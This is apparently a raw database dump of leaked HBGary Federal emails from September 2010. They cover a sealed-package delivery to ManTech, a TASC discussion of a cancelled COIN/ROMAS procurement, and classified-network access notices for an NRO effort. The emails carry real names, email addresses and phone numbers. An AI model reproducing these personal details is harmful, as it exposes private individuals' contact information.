Ted/Aaron,\r\n>\r\n>\r\n>\r\n> Do you know when you are delivering you sealed package?\r\n>\r\n>\r\n>\r\n> Thanks,\r\n>\r\n> Wayne\r\n>\r\n>\r\n>\r\n> Wayne A. Hull\r\n>\r\n> Senior Contracts Manager\r\n>\r\n> ManTech Mission, Cyber & Technology Solutions Group\r\n>\r\n> Phone: (703) 610-9232\r\n>\r\n> Mobile: (703) 899-2896\r\n>\r\n> Unclassified fax: (703) 847-0486\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments) are\r\n> company-confidential and/or proprietary.  Unless you are the addressee (or\r\n> authorized to receive for the addressee), you may not use, copy, disclose or\r\n> distribute this email or any of the contents of this email.  If you received\r\n> this email in error, please promptly notify the sender by reply email and\r\n> delete this email from your records.  Thank you.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7909,'aaron_hbgary_com/7909.html'),(12301,'2010-09-24','\"Hull, Wayne A\" <Wayne.Hull@ManTech.com>','/aaron@hbgary.com/new/1297009082.M449881P14101Q7157.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Gatorbait Sealed Package','Come up to 7th floor and call me and I\'ll come meet you\r\n\r\nWayne A. Hull\r\nSenior Contracts Manager\r\nManTech Mission, Cyber & Technology Solutions Group\r\nPhone: (703) 610-9232\r\nMobile: (703) 899-2896\r\nUnclassified fax: (703) 847-0486\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, September 24, 2010 4:36 PM\r\nTo: Hull, Wayne A\r\nSubject: Re: Gatorbait Sealed Package\r\n\r\nWayne,\r\n\r\nWhere do I meet u\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 24, 2010, at 4:29 PM, \"Hull, Wayne A\"  wrote:\r\n\r\n> Thanks!!!!!\r\n>\r\n> Wayne A. Hull\r\n> Senior Contracts Manager\r\n> ManTech Mission, Cyber & Technology Solutions Group\r\n> Phone: (703) 610-9232\r\n> Mobile: (703) 899-2896\r\n> Unclassified fax: (703) 847-0486\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, September 24, 2010 4:17 PM\r\n> To: Hull, Wayne A\r\n> Cc: Barr Aaron\r\n> Subject: Re: Gatorbait Sealed Package\r\n>\r\n> Hi Wayne,\r\n>\r\n> As we discussed, Aaron Barr is at Kinko\'s now printing three (3)\r\n> hardcopies of each document, and one (1) CD containing all of the\r\n> softcopies.\r\n>\r\n> He is just a short distance from your facility and will be there by\r\n> 5pm.  You can reach him at 719-510-8478.\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> On Fri, Sep 24, 2010 at 1:20 PM, Hull, Wayne A  wrote:\r\n>>  Ted/Aaron,\r\n>>\r\n>>\r\n>>\r\n>> Do you know when you are delivering you sealed package?\r\n>>\r\n>>\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Wayne\r\n>>\r\n>>\r\n>>\r\n>> Wayne A. Hull\r\n>>\r\n>> Senior Contracts Manager\r\n>>\r\n>> ManTech Mission, Cyber & Technology Solutions Group\r\n>>\r\n>> Phone: (703) 610-9232\r\n>>\r\n>> Mobile: (703) 899-2896\r\n>>\r\n>> Unclassified fax: (703) 847-0486\r\n>>\r\n>> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>>\r\n>> This email and the contents of this email (including any attachments) are\r\n>> company-confidential and/or proprietary.  Unless you are the addressee (or\r\n>> authorized to receive for the addressee), you may not use, copy, disclose or\r\n>> distribute this email or any of the contents of this email.  If you received\r\n>> this email in error, please promptly notify the sender by reply email and\r\n>> delete this email from your records.  Thank you.\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',12628,'aaron_hbgary_com/12628.html'),(12302,'2010-09-24','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297009082.M794326P14101Q7158.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,aaron@hbgary.com,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Wagner, Rick (TASC)\" <RICHARD.WAGNER@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','Re: COIN/ROMAS status','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nWhat was the logic of the 4 contract approach??&nbsp;\r\n\r\n\r\nFrom: Lovegrove, John (TASC)Sent: Friday, September 24, 2010 02:55 PMTo: Aaron Barr &lt;aaron@hbgary.com&gt;; Clair, Chris (TASC); Wagner, Rick (TASC); Brunst Jr, Gerald R (TASC); Heider, Raymond A (TASC); Pisani, Albert A. (TASC)Subject: COIN/ROMAS status&nbsp;\r\n\r\n\r\n\r\n\r\nI spoke to the CO for COIN yesterday.&nbsp; The current\r\nprocurement approach is cancelled, she cited changed requirements.&nbsp; They\r\nwill be coming out with some documents in a month or two, most likely an updated\r\nRFI. &nbsp;&nbsp;There will be a procurement following soon after.&nbsp; We are\r\non the list to receive all information.\r\n\r\n&nbsp;\r\n\r\nMy speculation is that the four separate contracts approach\r\nwas justifiably shot down and they are re-grouping.&nbsp; \r\n\r\n&nbsp;\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL\r\nDISTRIBUTION ONLY\r\nThis e-mail, including\r\nattachments, is intended for the exclusive use of the person or entity to whom\r\nit is addressed and may contain confidential or privileged information. If the\r\nreader of this e-mail is not the intended recipient or his or her authorized\r\nagent, the reader is hereby notified that any dissemination, distribution or\r\ncopying of this e-mail is prohibited. If you think that you have received this\r\ne-mail in error, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8310,'aaron_hbgary_com/8310.html'),(12303,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009082.M99759P14101Q7156.eml','\"Hull, Wayne A\" <Wayne.Hull@mantech.com>','Re: Gatorbait Sealed Package','Wayne,\r\n\r\nWhere do I meet u\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 24, 2010, at 4:29 PM, \"Hull, Wayne A\"  wrote:\r\n\r\n> Thanks!!!!!\r\n>\r\n> Wayne A. Hull\r\n> Senior Contracts Manager\r\n> ManTech Mission, Cyber & Technology Solutions Group\r\n> Phone: (703) 610-9232\r\n> Mobile: (703) 899-2896\r\n> Unclassified fax: (703) 847-0486\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, September 24, 2010 4:17 PM\r\n> To: Hull, Wayne A\r\n> Cc: Barr Aaron\r\n> Subject: Re: Gatorbait Sealed Package\r\n>\r\n> Hi Wayne,\r\n>\r\n> As we discussed, Aaron Barr is at Kinko\'s now printing three (3)\r\n> hardcopies of each document, and one (1) CD containing all of the\r\n> softcopies.\r\n>\r\n> He is just a short distance from your facility and will be there by\r\n> 5pm.  You can reach him at 719-510-8478.\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> On Fri, Sep 24, 2010 at 1:20 PM, Hull, Wayne A  wrote:\r\n>>  Ted/Aaron,\r\n>>\r\n>>\r\n>>\r\n>> Do you know when you are delivering you sealed package?\r\n>>\r\n>>\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Wayne\r\n>>\r\n>>\r\n>>\r\n>> Wayne A. Hull\r\n>>\r\n>> Senior Contracts Manager\r\n>>\r\n>> ManTech Mission, Cyber & Technology Solutions Group\r\n>>\r\n>> Phone: (703) 610-9232\r\n>>\r\n>> Mobile: (703) 899-2896\r\n>>\r\n>> Unclassified fax: (703) 847-0486\r\n>>\r\n>> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>>\r\n>> This email and the contents of this email (including any attachments) are\r\n>> company-confidential and/or proprietary.  Unless you are the addressee (or\r\n>> authorized to receive for the addressee), you may not use, copy, disclose or\r\n>> distribute this email or any of the contents of this email.  If you received\r\n>> this email in error, please promptly notify the sender by reply email and\r\n>> delete this email from your records.  Thank you.\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',1551,'aaron_hbgary_com/1551.html'),(12304,'2010-09-24','arc@westfields.net','/aaron@hbgary.com/new/1297009083.M306447P14101Q7160.eml','federal@hbgary.com','SE / Graystone CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7100,'aaron_hbgary_com/7100.html'),(12305,'2010-09-24','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009083.M627079P14101Q7161.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,aaron@hbgary.com,\"Wagner, Rick (TASC)\" <RICHARD.WAGNER@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','RE: COIN/ROMAS status','\r\n\r\n\r\n\r\n\r\nRE: COIN/ROMAS status\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nFrom what we heard the split is a negotiation between the COTR and the OPS officer.&nbsp; Seems that the incumbent team proposed a sole source contract.&nbsp; The incoming COTR approved it.&nbsp; The OPS boss (John) and his boss (Marybeth) disputed the decision and opted out.&nbsp; The negotiation was to split up the RFP into 4 parts and bid them separately to keep the customer team together.&nbsp; We did not get any information beyond that but it was disputed later in the week.&nbsp; I hope the RFI means they are serious this time.&nbsp;&nbsp;\r\n\r\nIf you need more info, we can talk Monday.&nbsp; Let me know if you want me to set it up.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Heider, Raymond A (TASC)\r\nSent: Fri 9/24/2010 5:20 PM\r\nTo: Lovegrove, John (TASC); \'aaron@hbgary.com\'; Clair, Chris (TASC); Wagner, Rick (TASC); Brunst Jr, Gerald R (TASC); Pisani, Albert A. (TASC)\r\nSubject: Re: COIN/ROMAS status\r\n\r\nWhat was the logic of the 4 contract approach??\r\n\r\n\r\nFrom: Lovegrove, John (TASC)\r\nSent: Friday, September 24, 2010 02:55 PM\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;; Clair, Chris (TASC); Wagner, Rick (TASC); Brunst Jr, Gerald R (TASC); Heider, Raymond A (TASC); Pisani, Albert A. (TASC)\r\nSubject: COIN/ROMAS status\r\n\r\n\r\n\r\nI spoke to the CO for COIN yesterday.&nbsp; The current procurement approach is cancelled, she cited changed requirements.&nbsp; They will be coming out with some documents in a month or two, most likely an updated RFI.&nbsp;&nbsp; There will be a procurement following soon after.&nbsp; We are on the list to receive all information.\r\n\r\n\r\n\r\nMy speculation is that the four separate contracts approach was justifiably shot down and they are re-grouping.&nbsp;\r\n\r\n\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3874,'aaron_hbgary_com/3874.html'),(12306,'2010-09-24','arc@westfields.net','/aaron@hbgary.com/new/1297009083.M66251P14101Q7159.eml','federal@hbgary.com','SE / Graystone Announcement Posting','\r\nAn announcement has been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; 